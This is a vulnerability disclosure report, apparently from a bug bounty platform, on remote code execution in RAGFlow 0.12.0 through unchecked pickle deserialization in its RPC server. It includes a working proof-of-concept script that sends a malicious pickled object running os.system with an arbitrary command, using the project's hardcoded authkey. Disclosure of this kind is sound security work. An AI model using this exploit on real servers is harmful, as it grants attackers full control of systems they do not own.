RAGFlow RPC Server RCE in infiniflow/ragflow

Duplicate

Reported on Oct 29th 2024


Description

RAGFlow can load local models through RPCServer. The RPC Server of RAGFlow is implemented by transmitting pickle serialized data through the multiprocessing module. Then Ragflow did not perform security checks on the data that was deserialized by pickle, resulting in pickle deserialization vulnerability. RCE obtains server permissions.

Proof of Concept

Source: https://github.com/infiniflow/ragflow/blob/v0.12.0/rag/llm/rpc_server.py

The handle_connection method performs pickle deserialization on the data received by rpcserver without any security processing, resulting in a deserialization vulnerability.

//  /rag/llm/rpc_server.py
def handle_connection(self, connection):
        try:
            while True:
                # Receive a message
                func_name, args, kwargs = pickle.loads(connection.recv())
                # Run the RPC and send a response
                try:
                    r = self._functions[func_name](*args, **kwargs)
                    connection.send(pickle.dumps(r))
                except Exception as e:
                    connection.send(pickle.dumps(e))
        except EOFError:
            pass

Exploit:

Demo: the example of RAGFlow server-side loading the chatglm-6b model locally on the server through RPC Server.

  1. RAGFlow loads the model through the following code:
   $python rag_server.py --model_name /chatglm-6b
  1. The attacker's POC is as follows rpc_exp.py:
   // POC
   from multiprocessing.connection import Client
   import pickle
   import sys
   import base64

command = sys.argv[1]
   class rce(object):
       def __reduce__(self):
           import os
           return (os.system,(command,))
   conn = Client((‘localhost’, 7860), authkey=b’infiniflow-token4kevinhu’)
   conn.send(pickle.dumps(rce()))
   result = conn.recv()
  1. The attacker runs rpc_exp.py and obtains RAGFlow server permissions.
   $python rpc_exp.py ‘touch /tmp/thisisRCE’

Impact

RCE obtains RAGFlow server permissions.

Vulnerability Type

CWE-502: Deserialization of Untrusted Data

Severity

Critical (9.8)

Attack vector

Network

Attack complexity

Low

Privileges required

None

User interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

Open in visual CVSS calculator

Registry

Pypi

Affected Version

0.12.0

Visibility

Public

Status

Duplicate

Disclosure Bounty

$900

Fix Bounty

$225

Found by

K. @happyhacking-k

LIGHTWEIGHT